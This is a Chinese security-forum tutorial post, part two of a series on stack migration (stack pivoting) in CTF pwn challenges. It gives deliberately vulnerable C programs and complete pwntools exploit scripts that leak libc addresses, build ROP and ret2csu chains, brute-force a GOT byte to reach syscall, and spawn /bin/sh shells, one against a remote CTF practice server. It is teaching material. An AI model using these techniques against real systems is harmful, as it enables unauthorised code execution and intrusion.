-
-
钉子户的迁徙之路(二)
-
2024-5-8 08:45 2751
-
说明:本篇文章成型很久,现在已退役,后期完善不足,各位师傅将就看吧
前篇地址:
钉子户的迁徙之路(一):https://bbs.kanxue.com/thread-281631.htm
4.三迁钉子户
1. 灵魂呼叫(question_5)
从上面分析可知由于 ret2csu
长度为 0x80
,那么 migration
长度需要大于0x80
,那么问题来了 migration
的长度不能再小了吗?
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 | // question_5 #include <stdio.h> #include <stdio.h> #include <stdlib.h> #include <unistd.h> #define LEN 0x10 char migration[LEN]; //逐渐改变参数长度 int init_func(){ setvbuf (stdin,0,2,0); setvbuf (stdout,0,2,0); setvbuf (stderr,0,2,0); return 0; } int dofunc(){ char buf[0x30] = {}; puts ( "input1:" ); read(0,migration,LEN); puts ( "input2:" ); read(0,buf,0x38); //逐渐改变溢出长度 return 0; } int main(){ init_func(); char byebye[]= "byebye" ; dofunc(); puts (byebye); return 0; } //gcc question_5.c -fno-stack-protector -no-pie -o question_5_x64 |
我承认这个题目已经实属有点变态了,migration
长度只有2个字长,但buf
却可以输入7个字长,其利用姿势连我本人也觉得有些诡异。为了说明这个问题,我们需要重新来审视一下汇编代码。
1.你使用过 call
吗?
在汇编代码中,调用其他函数一般有 2 种方式,一种是 call
,一种是 jmp(jcc)
。其中,大多是用 call
的形式,plt
表中使用的为 jmp
形式,如下图。
2.call read
移形换影
call
与 jmp
的区别主要是 call
(近跳转) 要将 ip
压栈,然后 ret
时将 ip
弹出。那么问题来了,如果我们 call
的是 read
函数,而此时写入数据又能够覆盖到存储 ip
的位置,那么,如果我们将 ip
修改,就能够返回到我们想要返回的地方,我将其成为 call read
移形换影,流程如下图。
那么此题的解决方式就是利用此方法将 0x10
与 0x38
拼接成足够长的栈帧进行攻击,流程如下图。
攻击脚本主要内容如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 | from pwn import * import duchao_pwn_script from sys import argv import argparse s = lambda data: io.send(data) sa = lambda delim, data: io.sendafter(delim, data) sl = lambda data: io.sendline(data) sla = lambda delim, data: io.sendlineafter(delim, data) r = lambda num = 4096 : io.recv(num) ru = lambda delims, drop = True : io.recvuntil(delims, drop) itr = lambda : io.interactive() uu32 = lambda data: u32(data.ljust( 4 , '\0' )) uu64 = lambda data: u64(data.ljust( 8 , '\0' )) leak = lambda name, addr: log.success( '{} = {:#x}' . format (name, addr)) if __name__ = = '__main__' : pwn_arch = 'amd64' duchao_pwn_script.init_pwn_linux(pwn_arch) pwnfile = './migration_6_x64' io = process(pwnfile) #io = remote('', ) elf = ELF(pwnfile) rop = ROP(pwnfile) context.binary = pwnfile pop_rdi_ret = 0x4012cb pop_rsi_r15_ret = 0x4012c9 leave_ret = 0x401228 pop_rbp_ret = 0x401129 call_read_buf_addr = 0x40120D read_sym = elf.symbols[ 'read' ] puts_sym = elf.symbols[ 'puts' ] read_got = elf.got[ 'read' ] repc_addr = elf.symbols[ 'dofunc' ] migration = elf.symbols[ 'migration' ] # 题目要求写入的地址 target1_rbp = elf.bss() + 0x700 #需要测试得出 n = 1 # n至少要大于3 final_rbp = target1_rbp + 0x100 * n leak_func_name = '__libc_start_main' leak_func_got = elf.got[leak_func_name] ''' 一、布置栈帧 (根据题目可能与第二步调换) 按照题目要求利用 leave ret 必须迁移到 migration 处 先布置好栈 ''' padding2rbp = 0x30 payload_buf = flat([ 'a' * padding2rbp , migration]) ''' 二、写入第一次迁移后的内容 (根据题目可能与第一步调换) puts 函数大约要调高栈帧 0x80 , 所以不能直接在迁移处布置栈帧 ''' payload_migration = flat([migration + padding2rbp + 0x8 , call_read_buf_addr]) sa( 'input1:\n' ,payload_migration) sa( 'input2:\n' , payload_buf) sleep( 0.5 ) ''' 利用 call_read_addr 过程 ,同时修改 call read 后的 返回地址,使得控制 rdx +----------+ +----------+ +----------+ | | | | | | +----------+ +----------+ +----------+ |call read | |retrun add| |new r add | +----------+ +----------+ +----------+ | | | | | | +----------+ --> +----------+ --> +----------+ | | | | | | +----------+ +----------+ +----------+ | | | | | | +----------+ +----------+ +----------+ | rbp | | rbp | | rbp | +----------+ +----------+ +----------+ ''' payload3 = flat([pop_rsi_r15_ret, target1_rbp , 0 , read_sym , pop_rbp_ret , target1_rbp ,leave_ret]) s(payload3) ''' 三、套路查找libc基地址 ''' payload4 = flat([final_rbp , pop_rdi_ret, leak_func_got , puts_sym , repc_addr , leave_ret ]) s(payload4) ru( '\n' ) leak_func_addr = u64(r( 6 ).ljust( 8 ,b '\x00' )) # 不同接受代码接受数量不同 print ( hex (leak_func_addr)) # 以下代码为查找system及/bin/sh的地址 system_addr, binsh_addr = duchao_pwn_script.libcsearch_sys_sh(leak_func_name, leak_func_addr) print ( hex (system_addr)) print ( hex (binsh_addr)) ''' 四、写入 system + binsh 由于 system 函数栈很高,重复上面的步骤把 system('/bin/sh') , 放置到bss段较远的位置 ''' # 最终输出 payload_migration = flat([migration + padding2rbp + 0x8 , call_read_buf_addr]) sa( 'input1:\n' ,payload_migration) payload_buf = flat([ 'a' * padding2rbp , migration]) sa( 'input2:\n' , payload_buf) sleep( 0.5 ) payload7 = flat([pop_rsi_r15_ret, target1_rbp , 0 , read_sym , pop_rbp_ret , target1_rbp ,leave_ret]) s(payload7) sleep( 0.5 ) payload8 = flat([final_rbp , pop_rdi_ret, binsh_addr , system_addr ]) s(payload8) itr() |
3.简单的长度变换(question_6)
当然,如果存在两次输入,在栈上写入数据与在bss
段写入数据的长度可以有很多种组合方式,我们适当改变两者的长度。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 | // question_6 #include <stdio.h> #include <stdio.h> #include <stdlib.h> #include <unistd.h> #define LEN 0x30 char migration[LEN]; //逐渐改变参数长度 int init_func(){ setvbuf (stdin,0,2,0); setvbuf (stdout,0,2,0); setvbuf (stderr,0,2,0); return 0; } int dofunc(){ char b[0x8] = {}; puts ( "input1:" ); read(0,migration,LEN); puts ( "input2:" ); read(0,b,0x10); //逐渐改变溢出长度 return 0; } int main(){ init_func(); char byebye[]= "byebye" ; dofunc(); puts (byebye); return 0; } //gcc question_5.c -fno-stack-protector -no-pie -o question_5_x64 |
同样使用 call read
移形换影进行攻击,流程不再赘述,主要代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 | from pwn import * import duchao_pwn_script from sys import argv import argparse s = lambda data: io.send(data) sa = lambda delim, data: io.sendafter(delim, data) sl = lambda data: io.sendline(data) sla = lambda delim, data: io.sendlineafter(delim, data) r = lambda num = 4096 : io.recv(num) ru = lambda delims, drop = True : io.recvuntil(delims, drop) itr = lambda : io.interactive() uu32 = lambda data: u32(data.ljust( 4 , '\0' )) uu64 = lambda data: u64(data.ljust( 8 , '\0' )) leak = lambda name, addr: log.success( '{} = {:#x}' . format (name, addr)) if __name__ = = '__main__' : pwn_arch = 'amd64' duchao_pwn_script.init_pwn_linux(pwn_arch) pwnfile = './migration_7_x64' io = process(pwnfile) #io = remote('', ) elf = ELF(pwnfile) rop = ROP(pwnfile) context.binary = pwnfile pop_rdi_ret = 0x4012ab pop_rsi_r15_ret = 0x4012a9 leave_ret = 0x401200 pop_rbp_ret = 0x401129 call_read_migration_addr = 0x4011C3 read_sym = elf.symbols[ 'read' ] puts_sym = elf.symbols[ 'puts' ] read_got = elf.got[ 'read' ] repc_addr = elf.symbols[ 'dofunc' ] migration = elf.symbols[ 'migration' ] # 题目要求写入的地址 target1_rbp = elf.bss() + 0x700 #需要测试得出 n = 1 # n至少要大于3 final_rbp = target1_rbp + 0x100 * n leak_func_name = '__libc_start_main' leak_func_got = elf.got[leak_func_name] ''' 一、布置栈帧 (根据题目可能与第二步调换) 按照题目要求利用 leave ret 必须迁移到 migration 处 先布置好栈 ''' padding2rbp = 0x8 payload_buf = flat([ 'a' * padding2rbp , migration]) ''' 二、写入第一次迁移后的内容 (根据题目可能与第一步调换) puts 函数大约要调高栈帧 0x80 , 所以不能直接在迁移处布置栈帧 ''' payload_migration = flat([target1_rbp , call_read_migration_addr]) sa( 'input1:\n' ,payload_migration) sa( 'input2:\n' , payload_buf) sleep( 0.5 ) ''' 利用 call_read_migration_addr 过程 ,同时修改 call read 后的 返回地址,使得控制 rdx +----------+ +----------+ +----------+ | next rbp | | next rbp | | next rbp | +----------+ +----------+ +----------+ |call read | |retrun add| | new r add| +----------+ +----------+ +----------+ | | | | | | +----------+ --> +----------+ --> +----------+ | | | | | | +----------+ +----------+ +----------+ | | | | | | +----------+ +----------+ +----------+ | | | | | | +----------+ +----------+ +----------+ | | | | | | +----------+ +----------+ +----------+ ''' payload3 = flat([ 0xdeadbeef , pop_rsi_r15_ret , target1_rbp , 0 , read_sym , leave_ret]) s(payload3) ''' 三、套路查找libc基地址 ''' payload4 = flat([final_rbp , pop_rdi_ret, leak_func_got , puts_sym , repc_addr , leave_ret ]) s(payload4) ru( '\n' ) leak_func_addr = u64(r( 6 ).ljust( 8 ,b '\x00' )) # 不同接受代码接受数量不同 print ( hex (leak_func_addr)) # 以下代码为查找system及/bin/sh的地址 system_addr, binsh_addr = duchao_pwn_script.libcsearch_sys_sh(leak_func_name, leak_func_addr) print ( hex (system_addr)) print ( hex (binsh_addr)) ''' 四、写入 system + binsh 由于 system 函数栈很高,重复上面的步骤把 system('/bin/sh') , 放置到bss段较远的位置 ''' # 最终输出 payload_migration = flat([target1_rbp , call_read_migration_addr]) sa( 'input1:\n' ,payload_migration) payload_buf = flat([ 'a' * padding2rbp , migration]) sa( 'input2:\n' , payload_buf) sleep( 0.5 ) payload7 = flat([ 0xdeadbeef , pop_rsi_r15_ret , target1_rbp , 0 , read_sym , leave_ret]) s(payload7) sleep( 0.5 ) payload8 = flat([final_rbp , pop_rdi_ret, binsh_addr , system_addr ]) s(payload8) itr() |
2.例题:gyctf_2020_borrowstack
此题找到的网上流传此题解法均为使用 one_gadget
(可能比赛中出题人给出了 libc )。真实情况下,攻击者并不能期望能有靶机的 glibc ,并且也不能期望所有 one_gadget
都能够使用 ,下面我使用 read移形换影 进行攻击。
脚本如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 | from pwn import * import duchao_pwn_script from sys import argv import argparse s = lambda data: io.send(data) sa = lambda delim, data: io.sendafter(delim, data) sl = lambda data: io.sendline(data) sla = lambda delim, data: io.sendlineafter(delim, data) r = lambda num = 4096 : io.recv(num) ru = lambda delims, drop = True : io.recvuntil(delims, drop) itr = lambda : io.interactive() uu32 = lambda data: u32(data.ljust( 4 , '\0' )) uu64 = lambda data: u64(data.ljust( 8 , '\0' )) leak = lambda name, addr: log.success( '{} = {:#x}' . format (name, addr)) if __name__ = = '__main__' : pwn_arch = 'amd64' duchao_pwn_script.init_pwn_linux(pwn_arch) pwnfile = './gyctf_2020_borrowstack' #io = process(pwnfile) io = remote( 'node4.buuoj.cn' , 25283 ) elf = ELF(pwnfile) rop = ROP(pwnfile) context.binary = pwnfile pop_rdi_ret = 0x400703 pop_rsi_r15_ret = 0x400701 leave_ret = 0x400699 read_sym = elf.symbols[ 'read' ] puts_sym = elf.symbols[ 'puts' ] read_got = elf.got[ 'read' ] print ( hex (elf.bss())) target_tmp_ebp = elf.symbols[ 'bank' ] # 需要找到合适的转移目标 0x601080 target1_ebp = elf.bss() + 0x200 n = 8 # n至少要大于3 final_ebp = target1_ebp + 0x100 * n leak_func_name = '__libc_start_main' leak_func_got = elf.got[leak_func_name] rep_func = 0x400626 # 一阶栈迁移 # 最后的0x100可以适当改小一点 padding2rbp = 96 payload1 = flat([ 'a' * padding2rbp , target_tmp_ebp, leave_ret]) delimiter = 'you want\n' sa(delimiter, payload1) # 二阶栈迁移 __libc_sigaction 中有一段 sub esp, 0x12c target2_ebp 不易过低 target2_ebp = target1_ebp + 0x500 call_func = { 'func_addr' :read_got , 'arg1' : 0 , 'arg2' : target1_ebp, 'arg3' : 0x100 } pay_ret2csu = duchao_pwn_script.ret2csu_payload(call_func,leave_ret, 0 , 0x4006E0 ,__rbp = p64(target1_ebp)) print ( hex ( len (pay_ret2csu))) # 最后的0x100可以适当改小一点 栈迁移的距离很有讲究 原则上能大则大 payload2 = flat([target1_ebp, pay_ret2csu]) #duchao_pwn_script.dbg(io) sla( 'stack now!\n' ,payload2) pause() call_func = { 'func_addr' :read_got , 'arg1' : 0 , 'arg2' : target2_ebp, 'arg3' : 0x100 } pay_ret2csu = duchao_pwn_script.ret2csu_payload(call_func,leave_ret, 0 , 0x4006E0 ,__rbp = p64(target2_ebp)) payload3 = flat([target2_ebp , pop_rdi_ret , leak_func_got , puts_sym , pay_ret2csu]) sl(payload3) pause() sleep( 1 ) leak_func_addr = u64(r( 6 ).ljust( 8 ,b '\x00' )) # 不同接受代码接受数量不同 print ( hex (leak_func_addr)) # 以下代码为查找system及/bin/sh的地址 system_addr, binsh_addr = duchao_pwn_script.libcsearch_sys_sh(leak_func_name, leak_func_addr) print ( hex (system_addr)) print ( hex (binsh_addr)) # 最终输出 call_func = { 'func_addr' :read_got , 'arg1' : 1 , 'arg2' : final_ebp, 'arg3' : 0x100 } pay_ret2csu = duchao_pwn_script.ret2csu_payload(call_func,leave_ret, 0 , 0x4006E0 ,__rbp = p64(final_ebp)) payload3 = flat([final_ebp , pop_rdi_ret , binsh_addr , system_addr ]) sleep( 1 ) sl(payload3) itr() |
5.致敬西湖论剑2021
西湖论剑2021有一道名为 blind
的 pwn
题出的相当有意思,简单反编译之后如下图。
其攻击原理是 glibc2.27
之后的版本中 alarm
、read
函数中 syscall
距离函数顶部较近(如下图)。
因此,可以使用爆破的方式予以攻击,可以说,这个题目是将64位的 ret2dlresolve
直接提升了一个等级,并且为之后的 pwn
题扩展了很大的思路。此题网上讲解很多,就不再赘述,有兴趣的朋友可以自行查阅。此题江湖流传的版本是攻击 alarm
函数,我对此题改造后发现攻击 read
函数也可以。题目代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 | #include <stdio.h> #include <stdlib.h> #include <unistd.h> int init_func(){ setvbuf (stdin,0,2,0); setvbuf (stdout,0,2,0); setvbuf (stderr,0,2,0); return 0; } int main(){ char buf[80] ; init_func(); return read(0, buf, 0x500); } |
当然,本篇文章的主题是栈迁移不是爆破,以上题目可以请有兴趣的朋友自己试试,难度适中。当然,本篇文章主要是讲解栈迁移,所以我对题目做了如下调整。
6.鱼丸消失术——左右横跳之法(question_7)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 | #include <stdio.h> #include <stdlib.h> #include <unistd.h> int init_func(){ setvbuf (stdin,0,2,0); setvbuf (stdout,0,2,0); setvbuf (stderr,0,2,0); return 0; } int dofunc(){ char b[8] ; read(0,b,0x18); // puts("byebye!"); return 0; } int main(){ init_func(); dofunc(); return 0; } //gcc migration_11.c -fno-stack-protector -no-pie -o migration_11_x64 |
题目中 b 的空间只有 8 + 8(覆盖rbp) + 8(覆盖返回地址)= 24
个字节的长度,也就是说,程序只能覆盖到返回地址,并且可写的内容非常少,那么我们该如何攻击呢?我们可以利用一个无用的地址作为锚点反复利用call read
流程在一个地址布置栈帧。
攻击脚本如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 | from pwn import * import duchao_pwn_script from sys import argv import argparse s = lambda data: io.send(data) sa = lambda delim, data: io.sendafter(delim, data) sl = lambda data: io.sendline(data) sla = lambda delim, data: io.sendlineafter(delim, data) r = lambda num = 4096 : io.recv(num) ru = lambda delims, drop = True : io.recvuntil(delims, drop) itr = lambda : io.interactive() uu32 = lambda data: u32(data.ljust( 4 , '\0' )) uu64 = lambda data: u64(data.ljust( 8 , '\0' )) leak = lambda name, addr: log.success( '{} = {:#x}' . format (name, addr)) if __name__ = = '__main__' : pwn_arch = 'amd64' duchao_pwn_script.init_pwn_linux(pwn_arch) pwnfile = './migration_11_x64' # io = remote('', ) elf = ELF(pwnfile) rop = ROP(pwnfile) context.binary = pwnfile deadbeef = 0xdeadbeef read_got = elf.got[ "read" ] read_sym = elf.symbols[ "read" ] leak_func_name = '__libc_start_main' leak_func_got = elf.got[leak_func_name] rep_func = elf.symbols[ 'dofunc' ] csu_front_addr = 0x401218 csu_back_addr = csu_front_addr + 0x1a leave_ret = 0x4011ba pop_rsi_r15_ret = 0x401239 call_read_addr = 0x40119F call_read_addr_2 = 0x4011B0 ret = 0x4011bb pop_r12_r13_r14_r15_ret = csu_back_addr + 2 target1_rbp = elf.bss() + 0x400 addr_tmp = target1_rbp + 0x100 next_rbp_addr = target1_rbp + 0x200 bin_sh_addr = next_rbp_addr + 0x200 padding2rbp = 0x8 nead_padding2rbp = 0x10 call_read_len = 0x20 stack_over_flow = call_read_len - padding2rbp # 脚本存在 gdb 无法调试的情况 for i in range ( 0xbc , 0xbc + 1 ): try : io = process(pwnfile) #duchao_pwn_script.dbg(io) call_func = { 'func_addr' :read_got , 'arg1' : 0 , 'arg2' : next_rbp_addr, 'arg3' : 0x200 } ret2csu_payload = duchao_pwn_script.ret2csu_payload(call_func , 0 , csu_front_addr ,gcc_ver = 'new' ,rbp = next_rbp_addr ) + p64(leave_ret) print ( hex ( len (ret2csu_payload))) print (ret2csu_payload[ 0 : 8 ]) # 一、迁移 rbp_1 = target1_rbp payload1 = flat([ 'a' * padding2rbp , rbp_1 , call_read_addr]) #pause() sleep( 0.5 ) s(payload1) # 二、布栈 for j in range ( len (ret2csu_payload) / / 8 ): ''' +----------+ +----------+ | | | | +----------+ +----------+ | gadgat_1 | | deadbeef | +----------+ +----------+ rbp_1 ->| rbp_2 | rbp_2 ->| rbp_1+0x8| +----------+ +----------+ | call read| | call read| +----------+ +----------+ | | | | +----------+ +----------+ | | | | +----------+ +----------+ | | | | +----------+ +----------+ ''' rbp_2 = addr_tmp payload2 = flat([ ret2csu_payload[ 8 * j: 8 * j + 8 ] , rbp_2 , call_read_addr ]) #pause() sleep( 0.5 ) s(payload2) ''' +----------+ +----------+ +----------+ +----------+ | | | | | | | | +----------+ +----------+ +----------+ +----------+ | gadgat_1 | | deadbeef | | gadgat_1 | | deadbeef | +----------+ +----------+ +----------+ +----------+ rbp_1 ->| rbp_2 | rbp_2 ->| rbp_1+0x8| rbp_1 ->| gadgat_2 | rbp_2 ->| rbp_1+0x8| +----------+ +----------+ +----------+ +----------+ | call read| | call read| =======> | rbp_2 | | call read| +----------+ +----------+ +----------+ +----------+ | | | | | call read| | | +----------+ +----------+ +----------+ +----------+ | | | | | | | | +----------+ +----------+ +----------+ +----------+ | | | | | | | | +----------+ +----------+ +----------+ +----------+ ''' payload3 = flat([ deadbeef ,rbp_1 + 8 * (j + 1 ) , call_read_addr ]) #pause() sleep( 0.5 ) s(payload3) #duchao_pwn_script.dbg(io) payload4 = flat([ ret , rbp_1 - ( padding2rbp + 8 ) , leave_ret ]) s(payload4) #duchao_pwn_script.dbg(io) # 二、布置迁移后的栈帧 # 输入 /bin/sh\x00 call_func_2 = { 'func_addr' :read_got , 'arg1' : 0 , 'arg2' : bin_sh_addr, 'arg3' : 8 } ret2csu_payload_2 = duchao_pwn_script.ret2csu_payload(call_func_2 , 0 , csu_front_addr ,gcc_ver = 'new' ) # 爆破 read_got 最后一位找到 syscall call_func_3 = { 'func_addr' :read_got , 'arg1' : 0 , 'arg2' : read_got, 'arg3' : 1 } ret2csu_payload_3 = duchao_pwn_script.ret2csu_payload(call_func_3 , 0 , csu_front_addr , gcc_ver = 'new' ) # 利用 syscall rax=1 为 sys_write 输出 0x3b 字节 call_func_4 = { 'func_addr' :read_got , 'arg1' : 1 , 'arg2' : bin_sh_addr, 'arg3' : 0x3b } ret2csu_payload_4 = duchao_pwn_script.ret2csu_payload(call_func_4 , 0 , csu_front_addr , gcc_ver = 'new' ) # 利用 syscall rax = 0x3b 为 sys_execve 执行 execve("/bin/sh\x00",0,0) call_func_5 = { 'func_addr' :read_got , 'arg1' : bin_sh_addr , 'arg2' : 0 , 'arg3' : 0 } ret2csu_payload_5 = duchao_pwn_script.ret2csu_payload(call_func_5 , 0 , csu_front_addr , gcc_ver = 'new' ) payload = p64(ret) + ret2csu_payload_2 + ret2csu_payload_3 + ret2csu_payload_4 + ret2csu_payload_5 payload = payload.ljust( 0x200 ,b '\x00' ) #pause() s(payload) sleep( 0.5 ) # 输入 /bin/sh\x00 #pause() s(b "/bin/sh\x00" ) sleep( 0.5 ) # 爆破 read_got 最后一位找到 syscall #duchao_pwn_script.dbg(io) #pause() pl = p8(i) s(pl) #pause() tmp = io.recv(timeout = 3 ) if b '/bin/sh' in tmp and b 'smashing' not in tmp: itr() break io.close() except : pass |
**注意:**此种方法在ctf-wiki
中有写,题目是2015-hitcon-readable
,后来听TNT
师傅告诉我的。哎,学而不思则罔,思而不学则殆。
地址:https://ctf-wiki.org/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve/#2015-hitcon-readable
,
阿里云助力开发者!2核2G 3M带宽不限流量!6.18限时价,开 发者可享99元/年,续费同价!